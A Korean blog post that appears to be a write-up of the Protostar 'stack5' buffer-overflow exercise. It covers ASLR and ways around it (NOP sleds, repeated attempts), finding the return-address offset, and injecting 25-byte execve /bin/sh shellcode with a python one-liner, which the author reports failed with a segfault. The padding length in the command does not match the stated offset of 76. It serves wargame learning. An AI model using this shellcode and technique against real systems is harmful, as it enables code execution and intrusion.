SH1R0_HACKER

stack5 본문

System2/Protostar

stack5

SH1R0_HACKER 2020. 10. 18. 16:05

 

stack5.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 

gets()를 통해 버퍼오버플로우를 일으킬 수 있을 것 같다.

이번엔 쉘코드를 이용하여 RET를 공격해보는것이 목표이다.


[ ASLR(Address Space Layout Randomization) ]

메모리 영역의 주소 공간 배치를 랜덤화하여 공격을 방해한다.

즉 프로세스가 메모리에 올라갈 때 힙, 스택, 공유 라이브러리의 위치를 랜덤하게 정해주는 것.

 

출처: https://satanel001.tistory.com/77

 

간단한 ASLR 우회/차단 기법

스택의 주소가 필요한 공격을 할때 상당히 짜증나는 보호기법중 하나가 aslr이다. ASLR의 개념: http://satanel001.tistory.com/60 위 글에서 설명했듯이 Imagebase를 랜덤하게 해줘서 주소 예측이 힘들게 하��

satanel001.tistory.com

Imagebase를 랜덤하게 해줘서 주소 예측이 힘들게 하는 방식이다.

우회/차단하는 방법은 아래와 같다.

 

1. 0x90 사용하기

- 쉘코드를 사용하기 위해서 많이 쓰는 방법이다.

0x90(nop)이라는 명령어는 프로그램에 아무런 영향을 끼치지 않고 그냥 eip를 다음 명령어로 넘겨버린다.

그러므로 이 0x90을 많이 늘어놓은 다음 뒷쪽에 쉘코드를 넣어서 프로그램이 랜덤한 주소로 리턴하거나

점프해도 0x90안에 eip가 떨어질 확률을 높이는 것이다. 여러개의 0x90 중 한군데만 떨어져도 eip는

0x90을 타고 끝까지 가서 쉘코드를 실행하게 된다.

많이 쓰이는 방법이긴 한데 버퍼의 크기가 한정되어 있으면 0x90을 넣을 공간이 부족할 수 있다.

 

2. 반복실행

0x90과 마찬가지로 확률을 높히는 방식이다. 원하는 주소가 어딘지는 모르지만 가능한 주소를 골라서 될때까지 계속 시도를 하다보면 랜덤의 특성상 언젠가는 해당주소에 걸릴 것이다. 0x90과 함게 사용하면 확률을 더 높힐 수 있겠다. 하지만 너무 반복적으로 실행하지 못하게 차단한다던지 하는 환경에서는 사용할 수 없는 방법이다.

 

 

 

칼리리눅스는 기본적으로 ASLR 메모리 보호기법이 동작중이라 끄도록 한다.

원래 프로토스타에서는 ASLR이 적용되지 않는다.

이 방법은 임시로 끄는 방법이기 때문에 OS를 리부팅하면 사라진다.


[ 취약점 파악 및 분석 ]

buffer의 위치 : esp+0x10

 

stack5는 오버플로를 사용해 /bin/sh을 실행하는 문제이다.


[ Exploit ]

 

ret에 쉘코드를 넣기 위해선 필요한게 3가지가 있다.

 

(1) buffer 변수와 ret 값의 거리

(2) 쉘코드

(3) buffer의 주소

 

 

Buffer 변수와 ret 값의 거리를 구하는 과정이다.

브레이크포인트를 main+32 (ret)에 걸어주고 run을 하고 패턴을 입력해준다.

스택 최상단에 있는 값이 ret에 저장된 패턴이다.

 

offset을 계산해주면 76이 나온다.

Buffer 변수와 ret 값의 거리 : 76byte

 

쉘코드는 아래의 블로그에서 가져왔다.

https://blog.naver.com/mathboy7/220215329450

 

쉘코드 모음

포너블 문제 풀때 여러모로 유용하게 사용되는 쉘코드들을 작성해서 모아봤습니다. 찾기 편하시라고.... 블...

blog.naver.com

쉘코드 (25byte) :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

buffer변수의 주소를 알아내기 위해 leave에 브레이크포인트를 걸고 실행한 뒤

A로 다 채워보았다.

대표사진 삭제

사진 설명을 입력하세요.

0xffffd130이 buffer 주소인것 같다.

공격코드를 작성하자.

 

(python -c 'print "A"*72 + "\x30\xd1\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"' ; cat) | ./stack5

 

왜 안될까? Segmentation Fault 가 뜬다.

 

사용자 문제로 오류가 발생한다.

원래는 되어야하는데...프로토스타 os에서 다시 시도해봐야겠다.

(이거 때문에 삽질을 이틀동안 했다.)

'System2 > Protostar' 카테고리의 다른 글

stack 4  (0) 2020.10.18
stack 3  (0) 2020.10.18
stack 2  (0) 2020.10.18
stack 1  (0) 2020.10.18
Stack 0  (0) 2020.10.18